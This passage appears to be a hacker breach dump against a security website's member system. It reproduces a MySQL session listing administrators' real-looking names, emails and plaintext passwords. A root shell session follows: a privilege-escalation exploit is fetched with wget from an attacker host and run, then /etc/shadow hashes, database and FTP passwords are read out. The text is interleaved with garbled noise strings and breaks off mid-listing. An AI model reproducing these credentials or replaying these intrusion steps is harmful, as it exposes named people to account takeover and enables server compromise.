| Tables_in_astanet_membersystem    |
+———————————–+
# Q3 H6 ^( J( o| blacklist_categories              |
$ v: F& l3 \5 J( ^. z| blacklist_content                 |
! u: `! Q; d3 A2 k6 ]' [# V3 R8 u9 Z| blacklist_levels                  |
2 G4 a  [7 w! X# I1 M| blacklist_mcset                   |
| dir_categories                    |
$ r) f2 {7 y2 x- ?' h6 F| dir_comments                      |
| dir_links                         |
| dir_temp                          |
| dir_votes                         |
" z/ |* P. ?9 F7 b% P& s, W| documents                         |
| documents_categories              |
| email_content                     |
9 O- E5 C$ {! T4 n2 ~+ N' Q6 ]| email_settings                    |
. ?( O3 X) [5 o; |7 c! F% @| exploits                          |
| exploits_categories               |
+ N/ l* E% v0 P, i5 E' z: {" S| exploittree_categories            |
0 z; ^$ i% N0 W; f* R9 @+ a! l| exploittree_exploits              |
| home_values                       |
| iso_countries                     |
& n" r4 c+ ^, N1 D( R' q| links_categories                  |
% D1 W, l0 K8 |( s# O| links_records                     |
9 d, G) l# i+ L1 _| links_unauth                      |
| links_votes                       |
| log                               |
3 {. F* n( |/ B9 B2 j! q4 G| news_categories                   |
| news_comments                     |
. u8 Y2 w+ ~$ z* t" H, e0 r| news_emoticons                    |
/ f$ U2 H% g7 q& B" W, b| news_latest                       |
| news_messages                     |
| news_statistics                   |
. U- ]& {1 E% h+ |" y6 ~" ^| news_votes                        |
" d. v9 j: G2 f& H2 a| prices_content                    |
| prices_offers                     |
1 ]: a# P. l3 S1 Y8 H' d% P2 [# h| rss_settings                      |
9 `. Z( @. ]* z| sessions                          |
| stats_signups                     |
8 q) w$ I  T7 y- q| u2u2                              |
; [; x* `3 i% S0 r- ^| u2u_contact                       |
| u2u_settings                      |
% J3 d" g* a( n" u8 s, j1 y; `, x| user_keywords_selected_categories |
| users                             |
" ^$ q9 U* u. J' s$ ?% S: Z5 D" V0 p| users_ipn_test                    |
| users_keyword_values              |
| users_profile                     |
% Y7 }: P. T7 B6 p3 `# x| users_temp                        |
| users_upgrade                     |
+———————————–+
$ \7 `6 n$ g& h* a$ ?, Q! O46 rows in set (0.00 sec)
; S' P5 j: Z/ h4 _* ~2 R8 u
mysql> describe users;
7 L) `, i6 n$ }9 ~- V/ L3 F' f+————————–+————————————–+——+—–+———————+—————-+
| Field                    | Type                                 | Null | Key | Default             | Extra          |
  r+ _  F- q. c' ~, _+————————–+————————————–+——+—–+———————+—————-+
+ }. S! r1 {3 b: x| primary_key              | smallint(5) unsigned                 | NO   | PRI | NULL                | auto_increment |
| user                     | varchar(50)                          | NO   |     |                     |                |
| nickname                 | varchar(30)                          | NO   | MUL | anonymous           |                |
| password                 | varchar(30)                          | NO   |     |                     |                |
| userlevel                | tinyint(3)                           | YES  | MUL | NULL                |                |
8 Y; z4 C# C1 ^| exp                      | int(8) unsigned                      | NO   |     | 0                   |                |
2 z) C! g$ J9 ]" M| email                    | varchar(50)                          | NO   |     |                     |                |
" P7 s  Z/ K/ u/ `* X$ z| ip                       | varchar(15)                          | NO   |     | 0                   |                |
3 D  B- w: G3 h1 H9 K. W7 B7 }3 d| proxy                    | set(’0′,’1′)                         | NO   |     | 0                   |                |
| logtime                  | timestamp                            | NO   |     | CURRENT_TIMESTAMP   |                |
| login_reminder_last_sent | timestamp                            | NO   |     | 0000-00-00 00:00:00 |                |
| anz_in                   | tinyint(1)                           | NO   |     | -1                  |                |
6 m, m1 V; D# L3 f' g| status                   | tinyint(1) unsigned                  | NO   |     | 0                   |                |
| checked                  | set(’0′,’1′,’2′)                     | NO   |     | 0                   |                |
) P4 w7 |$ D& G: R| freemember               | set(’0′,’1′)                         | NO   |     | 0                   |                |
7 Q, _5 n1 A% N: L| ordertype                | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES  |     | NULL                |                |
| lang                     | tinytext                             | NO   |     |                     |                |
| adid                     | smallint(6)                          | NO   |     | 0                   |                |
. l( q$ {- F2 r8 q# a6 L9 o* |) ?| pp_txn_id                | varchar(255)                         | YES  |     | NULL                |                |
| cnb_transaction_id       | varchar(255)                         | YES  |     | NULL                |                |
| cnb_order_id             | varchar(255)                         | YES  |     | NULL                |                |
| cnb_user_id              | int(11)                              | YES  |     | 0                   |                |
; V( `- q( [9 Z, f7 G& ]6 E" g+————————–+————————————–+——+—–+———————+—————-+
0 @! W; [, ?4 N; q1 j22 rows in set (0.01 sec)

9 Y# m! A% ?- K6 z. jmysql> select count(*) as skids from users;
  z, R& O3 q! s2 \+——-+
| skids |
% a! B! Z9 l) @* s- C) x+——-+
| 25199 |
+——-+
; X7 G5 ]! k3 u1 row in set (0.00 sec)
* J# k0 ^# {8 h( s
mysql> select user,nickname,password,email from users where userlevel = 1;
+————————–+———————-+——————+———————————–+
, f# M2 m" K% t+ `| user                     | nickname             | password         | email                             |
+————————–+———————-+——————+———————————–+
| pascal                   | prozac               | astaman3         | 链接标记info@astalavista.net              |
: m* f4 b1 A8 C( `8 _# K  w! f| Ivan Schmid              | rOOtless1            | astalavista4asta | 链接标记ivan.schmid@comvation.com         |
| qreymer                  | Palermo              | qblsw85iam       | 链接标记eche@home.se                      |
| Christian Wehrli         | g0atherd             | hitt?74          | 链接标记g0atherd@gmx.net                  |
/ z$ k- E: p$ w3 h; ?| Andrew Blake             | Minky                | liq73uid         | 链接标记a.blake@har.mrc.ac.uk             |
$ f- U9 [) t& {6 p; I; r| Martin Wyss              | dinu                 | kj63;cXy         | 链接标记martin.wyss@astalavista.net       |
| Leandro Nery             | Timan_no_Sanco       | nery2002         | 链接标记leandronery@hotmail.com           |
| shaving ryans privates   | ShavingRyansPrivates | memberboard313   | 链接标记shavingryansprivates1@hotmail.com |
" x2 [' q8 Q6 ^; b! _3 F! k| Gerben van der Lubbe     | Spoofed Existence    | Lb59eXg5         | 链接标记spoofedexistence@hotmail.com      |
$ F! Y3 X% c* c+ ^. w| David M Lee              | Daremo               | icG12m03         | 链接标记daremo@hackerheaven.com           |
& _2 T* }, e' v" X8 u  \| David Corn               | akriel               | ve3uB$cUku       | 链接标记akriel@fallenroot.net             |
| Thomas Kalin             | Gwanun               | QwErTy123        | 链接标记thomas.kaelin@astalavista.net     |
| Marcus unknown           | Cra58cker            | hhCr4ck06        | 链接标记unknownmarcus@hotmail.com         |
| David Ellis              | dellis203            | philip           | 链接标记dellis@nightwatchnss.com          |
| Lars Christian Solberg   | xeor                 | tF3s4|Nea        | 链接标记xeor@hush.com                     |
| Paulo Santos             | Be1er0ph0r1          | amor01           | 链接标记pmsantos@gmx.ch                   |
| Thomas D?ppen            | daha                 | asta4tom         | 链接标记thomas.daeppen@astalavista.ch     |
- g* f2 u# X5 c! [/ W2 ]: P| Touraj Abbasi Moghaddasi | -Crow1               | NetR0ck          | 链接标记toraj.a.m@gmail.com               |
| Fabius Bernet            | traviser             | wellenreiter100  | 链接标记fabius.bernet@astalavista.ch      |
; Q+ Z* D1 Y5 p, X( f# d| Zachary McElroy          | duder1               | dirty245dix      | 链接标记mcelroyzj@yahoo.com               |
/ D5 h( A* N2 ~( ~| Leron Cohen              | cohen2               | leron4free       | 链接标记leron@quiredmedia.com             |
| Beatriz Pontes           | anonymous1656        | pitas            | 链接标记joao.pedro.pontes@gmail.com       |
| Glafkos Charalambous     | anonymous2086        | si99490178$#     | 链接标记nowayout@webhostline.com          |
/ ^7 N+ b1 A( i! S, h4 `* V3 M7 v+ a| developer COMVATION      | anonymous2402        | Ri?Q$Q$MVU       | 链接标记ivan.schmid@astalavista.ch        |
. c7 P0 M( D/ M$ S( O| Peter Fisher             | cyph3r1              | testZer025435    | 链接标记cyph3r@astalavista.com            |
  ^/ e' s7 e1 {( u" ?( @! f" I| sykadul                  | sykadul              | ak29eral         | 链接标记sykadul@gmail.com                 |
$ P* U& ^8 b7 H1 j9 ?& y* q. i, m| Ronny Janzi              | commander1           | mpbdaagf6m       | 链接标记ronny.janzi@astalavista.ch        |
+————————–+———————-+——————+———————————–+
27 rows in set (0.00 sec)
) L  _4 P: Z8 o& R1 l7 c+ o! B
5 P" `6 ]) i0 N9 f) gmysql> exit;
Bye
, K( @: N; E! q8 Q# B- n
. k7 ^$ l/ w! U* ?9 Q[~] plaintext passwords? yes,
Those so called “security professionals” who charge you $6.66 / month to
: Y, O( E1 e, Y' ~register at their hack-proof portal, save your passwords in plaintext…
6 ~/ f+ o) z5 d) }1 Z: pbrilliant!

[~] This been fun but we want more.

5 ]+ e" {- ?% Ssh-3.2$ uname -a
$ p* Q+ s7 ?! a! TLinux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
* M# g6 ]! Y; `0 lsh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]
–13:33:37–  链接标记[url]http://anti.sec.labs/g0troot[/url]
Resolving anti.sec.labs… 13.33.33.37
- ~# G$ A) s0 FConnecting to anti.sec.labs|13.33.33.37|:80… connected.
5 F* C) z' O8 Y. V" p9 T, OHTTP request sent, awaiting response… 200 OK
Length: 18200 (18K) [text/plain]
* Q+ e2 I- u+ _  p1 o2 NSaving to: `g0troot’
6 V: v1 ^; ?5 m" B7 V% }1 M
100%[=========================================================================================================================================>] 18,200      58.6K/s   in
" U' Y& V2 y! U8 {3 ]0.3s
% T8 u3 ]" g* C) x" k
( M% x6 W: a7 x2 r# Y8 I6 |8 A18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]

% ?# S4 l0 C1 G  v% Ysh-3.2$ ./g0troot -i x86_64
  I2 |$ _7 H- q[+] g0troot - anti.sec.labs
+ B) x0 @  d/ o( u+ n3 A[+] Target: 2.6.18-128.1.10.el5
& B( ~$ }1 }& R2 Y) u[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

9 C+ H) |0 q8 W) _% Y( x4 s[+] r00tr00t
[~] Executing shell…
/ C. P  Z' ^% q+ s) S/ v& g
sh-3.2# id
2 A3 k( \& S- S9 q( N1 g1 }8 ~uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

9 u0 L2 T5 j# Q0 _& Jsh-3.2# cat /etc/shadow
root1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
" k9 ^% n, S, M: V- s; x7 O' T3 [2 l[snip]
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
% ^: I0 j  u( `) [8 m1 Ojon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
com1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
  M0 H# ~- ~* N  |astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
# s0 f8 i2 a( u  I6 ~# y
* A  Q: v, A" w# d3 fsh-3.2# cat /etc/motd
#####################################################
5 i) G" S% Z5 \% K" _#____ ____ ___ ____ _    ____ _  _ _ ____ ___ ____  #
  H! X0 j( ~6 E  r# L! c# |__| [__   |  |__| |    |__| |  | | [__   |  |__| #
# |  | ___]  |  |  | |___ |  |  \/  | ___]  |  |  | #
4 Z: W1 A8 s, m( h8 v, r( H#                                                   #
4 Q, a% [1 y& {$ }4 }! Y: ?#####################################################
#                                                   #
: @" i  n" F: g$ r+ w$ o. t7 E2 J# Admin Contact - 链接标记support@secureservertech.com      #
, [  k  e; r' D7 y2 S) i#                                                   #
# Available ShortCuts                               #
#                                                   #
1 m3 d3 ^, J9 I; Z* M5 ?( J# nst -  list active connections                    #
# ddos - shows how many times each ip is connected  #
# ltr -  restart the webserver                      #
# phpc - edit the php config file                   #
# a& Y# @5 z7 }+ h( u4 I# V9 h; ]# htc -  edit the webserver configuration file      #
# up -   uptime                                     #
# etd - edit the motd of the day file               #
, ~9 r& A% _% v) Y# htr - start and restart apache if needed          #
# syng - shows active SYN_RECV connections          #
# synd - syn flood blocker - “synd -h” for usage    #
#####################################################
3 @' q( G+ p$ J/ A# G. \6 q# NOTES:                                            #
# Last Upgrade - 12-08-2008 by JF                   #
+ t6 B0 D, S4 {+ J& ?4 m# My.cnf/Mysql Optimization - 1-28-09               #
4 A; @& `8 u, Z9 Z9 y#                                                   #
; m7 E8 |0 w; |7 K$ z! ^/ i#                                                   #
4 \4 n; d5 `. t# n8 n  O+ |* M) ~, F) ]#                                                   #
#####################################################
+ P; Z6 c9 q2 e5 Y
sh-3.2# lastlog | grep -v Never
Username         Port     From             Latest
- e% x* s. Y; {8 proot             pts/1    adsl-194-162-fix Thu Jun  4 07:19:14 +0000 2009
admin            pts/1    cp.secureservert Thu Mar 20 10:25:39 +0000 2008
; ~6 \& ]+ U: ?: q1 N: L, v- ?com              pts/0    cust.static.212- Tue Jun  2 07:46:30 +0000 2009
. R7 i! ~; ?( ~9 R: x8 B7 Wastanet          pts/0    adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
# P& Q- ?# s: q* X* n5 n6 t# M
sh-3.2# ls -la
total 453376
drwxr-x— 15 root root       4096 Jun  4 08:40 .
drwxr-xr-x 25 root root       4096 Jun  3 02:43 ..
: g: p9 Y" A. I" B-rw-r–r–  1 root root    2394400 Oct 19  2007 10mbtest.zip
4 K- _- ?" ]% a" P( L-rw——-  1 root root       1006 Sep 11  2007 anaconda-ks.cfg
-rw——-  1 root root      16836 Jun  4 07:21 .bash_history
-rw-r–r–  1 root root         24 Jan  6  2007 .bash_logout
-rw-r–r–  1 root root        191 Jan  6  2007 .bash_profile
; e# s, H8 j% x4 U+ }  a: w. T-rw-r–r–  1 root root        176 Jan  6  2007 .bashrc
# Z, e( W) R1 {4 b. i! y' K& g-rwx——  1 root root       1899 Oct 28  2007 bk.sh
-rw-r–r–  1 root root       1327 Nov 29  2007 cert
; `5 N" f1 H! k" H8 Q-rw-r–r–  1 root root  139860821 May 14  2008 contrexxbackup_20080514.sql
drwxr-xr-x  4 root root       4096 May 20  2008 .cpan
* B) q; Y9 j  I7 v" n-rw-r–r–  1 root root        100 Jan  6  2007 .cshrc
' b7 s1 Z. N+ }8 O  d# g' D-rw-r–r–  1 root root     323079 Mar 31 13:48 defaultp_ports.sql
/ }# o! ^  Y0 D& Y: }drwx——  2 root root       4096 Oct 28  2007 .elinks
/ B, {& [+ I- y9 V" v/ M) ddrwxr-xr-x 13 root root       4096 Mar 21  2008 gdb-6.7.1
( y! b$ P0 m9 e/ M  P1 ]9 _-rw-r–r–  1 root root   15080950 Oct 29  2007 gdb-6.7.1.tar.bz2
-rw——-  1 root root          0 Apr 16 13:19 .history
-rw-r–r–  1 root root      16095 Sep 11  2007 install.log
+ O' O/ U1 f% e. Q: }. q0 I-rw-r–r–  1 root root       2566 Sep 11  2007 install.log.syslog
2 r( @, R5 n8 c0 x- A3 Z6 K-rw-r–r–  1 root root       1003 Jul 22  2007 install.sh
! Q7 v% U! V* N1 ^1 c# k! ^  ^-rw——-  1 root root         35 Jun  2 14:23 .lesshst
drwxr-xr-x  2 root root       4096 Dec 29  2007 .lftp
4 y! O$ y  ^9 o" ^# j' N% ~drwxr-xr-x 10 root root       4096 Sep 14  2007 linux-2.6.19.2-grsec
+ Z" p+ ]$ E: u& A-rw-r–r–  1 root root   94979336 Feb 16  2007 linux-2.6.19.2-grsec.tar.gz
+ P2 D! s6 g5 |! O2 I! Q3 S-rw-r–r–  1 root root    4737058 Sep 22  2007 linux-2.6.22.tar.bz2
-rwx——  1 root root        760 Sep 18  2008 lp
5 V. x( S4 a9 d6 Hdrwxr-xr-x 12 root root       4096 Nov 30  2007 lsws-3.3.1
-rw-r–r–  1 root root    2480045 Nov 30  2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
-rw-r–r–  1 root root    6388501 Nov 29  2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
/ i3 N7 Q7 {) \7 Hdrwxr-xr-x 12 root root       4096 Mar 21  2008 lsws-3.3.9
0 K9 \9 [4 V6 `: f) u  g7 X( l-rw-r–r–  1 root root    6437577 Mar 21  2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
drwxr-xr-x 12 root root       4096 May 29 15:10 lsws-4.0.3
-rw-r–r–  1 root root    6496050 May  8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
1 @- Z% I. M% R; o) d-rw-r–r–  1 root root      25316 Feb 15  2006 mybk.sh
-rw——-  1 root root         41 Oct 19  2007 .my.cnf
5 n: y- n" g1 V6 s, a8 D-rw——-  1 root root       2902 Jun  4 08:40 .mysql_history
+ V" H9 G, j. z, @3 D& b4 ?( G-rwx——  1 root root      38873 Apr 16  2008 mysqlreport
-rw——-  1 root root         41 May 20  2008 .mytop
5 T% m* n4 w8 o; m& x% |drwxr-xr-x  3 1000  1000      4096 May 20  2008 mytop-1.6
2 @: n9 }* T% t; i8 D-rw-r–r–  1 root root      19720 Feb 17  2007 mytop-1.6.tar.gz
drwxr-xr-x  2 root root       4096 Oct 28  2007 .ncftp
-rw——-  1 root root       1462 Sep 21  2007 opt.php
. \& Y9 K. T. x4 H6 x-rw-r–r–  1 root root       3371 Sep 22  2007 p
-rw-r–r–  1 root root    7608429 Aug 30  2007 php-5.2.4.tar.bz2
- w, ]) M2 x/ [-rw——-  1 root root       1024 Feb  3 21:32 .rnd
. k& P1 d6 V/ f" U9 j-rw-r–r–  1 root root        716 Nov 28  2007 server.csr
-rw-r–r–  1 root root        887 Nov 28  2007 server.key
drwx——  2 root root       4096 Oct 10  2008 .ssh
-rw-r–r–  1 root root      44227 Oct 28  2007 tar-inc-backup.dat
9 _  F/ m/ D0 U, D-rw-r–r–  1 root root        129 Jan  6  2007 .tcshrc
! y8 i' z  O4 k6 p- x9 W-rw-r–r–  1 root root  104874307 Oct 17  2007 test100.zip
-rw-r–r–  1 root root   67085540 Oct 19  2007 test100.zip.1
drwxr-xr-x  2 root root       4096 Apr 29 11:15 tmp
5 ]5 O; t  G% b. m( i0 w-rw-r–r–  1 root root      42596 May 21  2007 tuning-primer.sh
% b$ Q9 ~0 j/ t& q3 A, R5 _6 Qdrwxrwxrwx 19 1000 users      4096 Mar 21  2008 valgrind-3.3.0
-rw-r–r–  1 root root    4519551 Dec 11  2007 valgrind-3.3.0.tar.bz2
-rw——-  1 root root      12997 May 16  2008 .viminfo

6 p- C8 d- A/ E1 csh-3.2# cat .bash_history
[snip]
% F- N% c; y  h* t8 N9 _wget cp4sst.com/sstlinux.tar.gz
& N# [0 A" t! t! l: @tar zxvf sstlinux.tar.gz
# q) X' c) o2 A4 dcd linux-2.6.27.10
sh install.sh
make bzImage ; make modules ; make modules_install ; make install
5 g7 W' `: _0 J0 S) omake clean
service mysqld restart
: |7 ?, h- U6 ]' Y- l: ~[snip]
; _5 h1 U9 |0 z1 F2 ]cd /usr/sbin/
chmod 4777 traceroute
( g+ Q; V  ?; t; tchmod 4777 ping
) h; w! p  e' f7 r" vtraceroute -I 链接标记[url]www.astalavista.ch[/url]
[snip]
' T5 G8 @" ?7 i) t  \6 K# Tvi /etc/csf/csf.conf
traceroute google.ch
service csf restart
tracert google.ch
) C- Q4 Q8 [7 |service csf restart
traceroute 链接标记[url]www.google.ch[/url]
tracert 链接标记[url]www.google.ch[/url]
/ M' z  o6 z! O4 Etraceroute 链接标记[url]www.google.ch[/url]
locate traceroute
chown 4755 /bin/traceroute
chown 4777 /bin/traceroute
& J6 F. Z5 g$ K/ l2 s/ Clocate ping
: q8 E  j) [1 d. E1 ichown 4755 /bin/ping
4 u7 W$ S8 X  ]& v6 {chown 4777 /bin/ping
% q, k! c& @0 {4 F: }+ W; |  ccd /bin/
ls -ali | grep ping
9 ?. m, {1 O6 I# i5 G- a  Q) Y! ?1 Zchown root ping
+ [( U; ]7 y' W* ~& |' ^chmod 4755 ping
ls -ali | grep traceroute
chown root traceroute
chmod 4755 traceroute
ls -ali | grep traceroute
traceroute -I 链接标记[url]www.google.ch[/url]
traceroute 链接标记[url]www.google.ch[/url]
whois pmsantos.ch
0 t; G8 J% x" a  F: |$ j! L[snip]
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
6 [/ L, \% Q' y- _mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
+ M7 X# R1 _# ~! \7 S- C8 f  Omysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
) D0 z" E. ^! a$ ?" }# ]top
# Y. _5 [( ~, G6 W6 x- H2 `( lping ssth.ch
5 V+ t% E: D: qping asdlkfaljgasd???ljg???lasj.ch
, \/ O! O. l( lping asdlkfaljgasdlasj.ch
. ~9 S* Q+ O& b( U( `8 c0 C, x3 x9 Dping 链接标记[url]www.ssth.ch[/url]
8 F- u3 p* V2 zping ssth.ch
nslookup 链接标记[url]www.google.ch[/url]
, D: O4 c9 P/ n% Inslookup 链接标记[url]www.ssth.ch[/url]
man nslookup
9 R! r6 h+ v1 Y' [) jping 链接标记[url]www.google.ch[/url]
, h$ }5 J4 S( V2 k% w' X5 fnslookup 链接标记[url]www.google.ch[/url]
nslookup 链接标记[url]www.google.ch[/url]
5 L3 ^: m2 X! k, u: ?nslookup salfjasdlf.ch
[snip]
openssl passwd -1 sadf
openssl passwd -1 5cZNHstdTy
mysql
) J3 N9 K) h! F6 amysql
locate proftp
vi /etc/proftpd.passwd
service proftpd restart
locate proftpd.conf
vi /etc/proftpd.conf
vi /etc/proftpd.passwd
* ]$ u2 E( y& U0 \1 x( |& p' Iservice proftpd restart
8 F, G0 X, l' i, m[snip]
% H  [( H& [5 b% z1 t/ W" C  V; u6 d/bin/sh /home/com/backup_system/backup.sh
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
: X- G: z+ ]/ A  W4 R- rls -ali
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
crontab -l
crontab -l
php -q /home/com/public_html/modifications/cronjobs/securitynews.php
% X) R% A3 R' s+ J/home/com/public_html/modifications/cronjobs/exploits.sh
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
cd lsws-4.0.3
sh install.sh
6 _! ^) V4 U: U- suptime
$ P3 Z2 U: N# W. H1 A% W5 Jhdparm -tt /dev/sda
iostat
' H( w7 H& w) h4 z; l- y% t' Iyum install iostat
iostat
+ _2 Q8 ]( X# \9 ywhereis iostat
yjm clean all
yum clean all ; yum -y update
8 K8 ]) b3 S5 x$ K4 k- i, piostat
yum install systat
5 w9 ^* v4 p+ S; b7 }- K9 M. `rpm -qa | grep iostat
1 L- H7 a( P' k# H  g: jrpm -qa | grep sysstat
& `, }! R) |1 h! O+ c  trpm -qa | grep systat
' v; u! _4 L$ g. f$ l2 w( zdmesg -c
8 F8 A2 T, V; ^6 Gsysctl -p
uname -r
cd /usr/src
/ \' {  w3 u2 w  n3 i/ B9 U0 |' Q0 dwget nix101.com/kernels/sstlinux.tar.gz
shutdown -r now
) l- a0 G# a. K2 pnano -w /boot/grub/grub.conf
6 T1 J/ H% I  D+ j" {6 [" N- \
sh-3.2# cat .my.cnf
[client]
user=da_admin
7 A5 n/ D( o/ o6 }& k* ?8 Z& qpassword=X9dctmRH
0 |, ~* o/ n: @1 L% ]3 N, R5 F9 q! H+ t4 W
sh-3.2# cat /home/com/backup_system/backup.sh
#!/bin/sh
#####################################################################
#                                                                   #
#   incremental backup for astalavista.com                          #
, E  \5 B' U8 r, S0 t3 o" Z7 v#                                                                   #
#   author:    Paulo M. Santos <链接标记paulo.santos@astalavista.com>       #
. K; {# y2 b) F#                                                                   #
#####################################################################
- m* T: p) ~8 V[snip]
PROG_DIR=”/home/com/backup_system”;
BACKUP_DIR=”/home/com/backups”;
: R6 I& V% H  ^; |( d! cDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;
# ftp for synology backup server
" ^8 @% \8 W" y2 S# EFTP_HOST=”212.254.194.163″;
FTP_PORT=”21″;
- p7 l$ T1 X( I! O: b8 S4 k/ qFTP_USER=”astalavista.com”;
FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;
FTP_DIR=”/astalavista.com”;
! C" B& M1 e& V8 F1 z' h/ @) N5 ]# database
DB_HOST=”localhost”;
DB_USER=”contrexxuser2″;
DB_PASS=”0fEYNZgXz1pKe”;
4 |. B( T0 x1 g- y8 A8 A, KDB_DATABASE1=”com_contrexx2_live”;
DB_DATABASE2=”com_contrexx2″;
7 }" V" ?  G) I[snip]
. ]  s% M. Y* m+ l# K9 F; yftp -in $FTP_HOST $FTP_PORT <<EOF
- ^: q$ Y0 q! h8 l$ R9 oquote USER $FTP_USER
quote PASS $FTP_PASS
cd $FTP_DIR
put $DB_FULLNAME-SQL_Dump.tar
put $BACKUP_FULLNAME-Public_HTML.tar
2 c7 s; v' p1 h" fclose
. Z, V6 r. s3 _9 X2 m2 B" I9 ]bye
EOF

sh-3.2# cd /home
* d# P# n& C: H8 s8 Tsh-3.2# ls -la
total 120
5 m; ?& ?4 F2 ?' `' q0 J0 rdrwxr-xr-x 14 root    root     4096 Mar 11 17:56 .
3 v7 R% ^) n9 j9 l5 p; {drwxr-xr-x 25 root    root     4096 Jun  3 02:43 ..
drwx–x–x  9 admin   admin    4096 Nov 28  2007 admin
-rw——-  1 root    root     8192 Jun  4 03:03 aquota.group
& d3 q% N9 @4 v2 r0 c-rw——-  1 root    root     8192 Jun  3 02:45 aquota.user
& e3 ]) g2 P- P4 hdrwx–x–x  6 astanet astanet  4096 Jun  4 09:51 astanet
# ^! Y  F% W1 d) Tdrwxr-xr-x  2 root    root     4096 Jul 29  2008 backup
drwxr-xr-x  2 root    root     4096 Sep 17  2008 backup.14161
drwx–x–x 10 com     com      4096 Apr 28 12:40 com
% }: H0 J  T1 S4 ]( X1 Wdrwxr-xr-x  2 root    root     4096 May 17  2007 ftp
drwx——  3 jon     jon      4096 Sep 21  2007 jon
! W- S  L# d* O( n/ ?% L8 |; X" jdrwx——  2 root    root    16384 Sep 11  2007 lost+found
drwxr-xr-x  2 root    root     4096 Sep 14  2007 my
, I, |8 h4 w3 l5 P5 \6 Z1 C$ Hdrwxr-xr-x  5 mysql   mysql    4096 Sep 24  2007 mysqldata
drwx——  2 jon     jon      4096 Sep 15  2007 test
9 C$ f# Z  R# K& D& \drwxrwxrwt  2 root    root     4096 Jul 29  2008 tmp

sh-3.2# cd admin
$ ]: w  I# g2 ]6 Y: fsh-3.2# ls -la
+ R9 y; P. }* U! Q% B$ dtotal 1735896
drwx–x–x  9 admin admin       4096 Nov 28  2007 .
drwxr-xr-x 14 root  root        4096 Mar 11 17:56 ..
7 E" L9 L: M& U' H* k# a: ldrwxrwxr-x  2 admin admin       4096 Oct 25  2007 admin_backups
drwx——  2 admin admin       4096 Sep 28  2007 backups
-rw——-  1 admin admin        860 Sep 17  2008 .bash_history
* |% w0 b4 m1 S8 l. o-rw-r–r–  1 admin admin         24 Sep 14  2007 .bash_logout
-rw-r–r–  1 admin admin        176 Sep 14  2007 .bash_profile
2 Z/ O, M, O) p7 s% o2 L' w& H) x-rw-r–r–  1 admin admin        124 Sep 14  2007 .bashrc
drwxr-xr-x  2 root  root        4096 Sep 28  2007 com_backups
9 o3 T. K% q& e! l# Udrwx–x–x  6 admin admin       4096 Sep 21  2007 domains
# X8 U! ~! N9 Q% udrwxrwx—  3 admin mail        4096 Sep 21  2007 imap
7 S  V# @, F0 u0 {3 x% a-rw-r–r–  1 root  root          24 Sep 21  2007 info.php
. ?4 ~9 v$ R0 I" R4 D5 ddrwx——  2 admin admin       4096 Sep 21  2007 mail
-rw-r–r–  1 root  root         716 Nov 28  2007 server.csr
. V: p( \' J; P; O8 v-rw-r–r–  1 root  root         887 Nov 28  2007 server.key
" ]: s  S7 z0 r$ `2 r' `& ]1 x-rw-r—–  1 admin mail          34 Sep 14  2007 .shadow
. |; K& p+ J; c6 a- b8 v& ?-rw-r—–  1 admin com   1775711054 Oct 25  2007 user.admin.com.tar.gz
( V& F7 M8 u2 r* c+ p0 ldrwx–x–x  2 admin admin       4096 Jul 29  2008 user_backups

sh-3.2# ..
sh-3.2# cd jon
$ f4 u; Z* R4 [7 L9 d9 ]sh-3.2# ls -la
total 36
drwx——  3 jon  jon  4096 Sep 21  2007 .
; x& H( C. ?5 fdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
-rw——-  1 jon  jon    53 Sep 21  2007 .bash_history
! r. K5 x; G- E-rw-r–r–  1 jon  jon    24 Sep 21  2007 .bash_logout
( b. C% c9 u' h. I4 ]9 g1 m-rw-r–r–  1 jon  jon   176 Sep 21  2007 .bash_profile
-rw-r–r–  1 jon  jon   124 Sep 21  2007 .bashrc
% K4 Y1 E- U4 s' t) c-rw-r–r–  1 root root   24 Sep 21  2007 info.php
8 H: Z# K4 ?& n# N. }2 o- M7 Tdrwxrwxr-x  2 jon  jon  4096 Sep 21  2007 public_html
) c0 o: |. F" T3 e1 E! l. u. ?5 X9 n
sh-3.2# cd ..
sh-3.2# cd test
( j5 p3 U8 C7 r8 M' \! G( Csh-3.2# ls -la
# n: p6 O  x- Q+ ftotal 48
drwx——  2 jon  jon  4096 Sep 15  2007 .
